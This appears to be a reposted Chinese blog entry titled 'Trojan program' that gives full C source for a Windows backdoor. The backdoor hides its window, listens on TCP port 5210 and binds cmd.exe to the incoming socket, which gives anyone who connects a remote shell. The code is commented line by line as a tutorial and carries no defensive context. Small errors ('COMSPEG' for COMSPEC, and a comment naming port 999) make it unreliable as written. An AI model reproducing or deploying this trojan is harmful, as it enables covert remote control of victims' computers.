木马程序

ゝ一纸荒年。 2022-09-25 05:12 191阅读 0赞

转载自[zusheng][]：http://bbs.ichunqiu.com/thread-6935-1-1.html?from=jkttcold

#pragma comment(lib,"ws2_32.lib")  //这里我们静态加入一个lib文件，也就是ws2_32.lib</font>
    
    
    #pragma comment(linker,"/subsystem:\"windows\"/entry:\"mainCRTStartup\"") //设置连接器选项
    
    
    #include <winsock2.h> //包含头文件winsock2.h,这个是 windows socket的头文件
    
    
    #include <windows.h> //常用的，不解释
    
    
    #define MasterPort 5210 //定义一个常量，也就是我们后面要打开的端口
    
    
    main()   //主函数不解释
    {
            WSADATA WSADa;    //这个结构被用来存储被WSAStartup函数调用后返回的Windows Sockets数据。后面的基本上差不多就不解释，不懂请大家自行百度
            sockaddr_in SockAddrIn; 
            SOCKET CSocket,SSocket;
            int iAddrSize;
            PROCESS_INFORMATION ProcessInfo;
            STARTUPINFO StartupInfo;
            char szCMDPath[255];
    //分配内存，初始化数据
            ZeroMemory(&ProcessInfo,sizeof(PROCESS_INFORMATION));
            ZeroMemory(&StartupInfo,sizeof(STARTUPINFO));
            ZeroMemory(&WSADa,sizeof(WSADATA));
    
    
            //获取cmd路径
            GetEnvironmentVariable("COMSPEG",szCMDPath,sizeof(szCMDPath));
    
    
            //加载ws2_32.dll
            WSAStartup(0x0202,&WSADa);
    
    
            //设置本地信息和绑定协议,建立socket,代码如下:
            SockAddrIn.sin_family = AF_INET;
            SockAddrIn.sin_addr.s_addr = INADDR_ANY;
            SockAddrIn.sin_port = htons(MasterPort);
            CSocket = WSASocket(AF_INET,SOCK_STREAM,IPPROTO_TCP,NULL,0,0);
    
    
            //设置绑定端口999
            bind(CSocket,(sockaddr *)&SockAddrIn,sizeof(SockAddrIn));
    
    
            //设置服务器端监听端口
            listen(CSocket,1);
            iAddrSize = sizeof(SockAddrIn);
    
    
            //开始连接远程服务器，并配置隐藏窗口结构体
            SSocket = accept(CSocket,(sockaddr *)&SockAddrIn,&iAddrSize);
    
    
            StartupInfo.cb = sizeof(STARTUPINFO);
    
    
            StartupInfo.wShowWindow = SW_HIDE;
            
            StartupInfo.dwFlags = STARTF_USESTDHANDLES |
    
    
            STARTF_USESHOWWINDOW;
    
    
            StartupInfo.hStdInput = (HANDLE)SSocket;
    
    
            StartupInfo.hStdOutput = (HANDLE)SSocket;
    
    
            StartupInfo.hStdError = (HANDLE)SSocket;
            
            //创建匿名管道：
    
    
            CreateProcess(NULL, szCMDPath, NULL, NULL, TRUE, 0, NULL, NULL, &StartupInfo, &ProcessInfo);
    
    
            WaitForSingleObject(ProcessInfo.hProcess, INFINITE);
    
    
            CloseHandle(ProcessInfo.hProcess);
    
    
            CloseHandle(ProcessInfo.hThread);
    
    
     
    
    
            //关闭进程句柄：
    
    
            closesocket(CSocket);
    
    
            closesocket(SSocket);
    
    
            WSACleanup();
    
    
              //关闭连接卸载ws2_32.dll
    
    
            return 0;
    
    
            }

[zusheng]: http://bbs.ichunqiu.com/space-uid-3785.html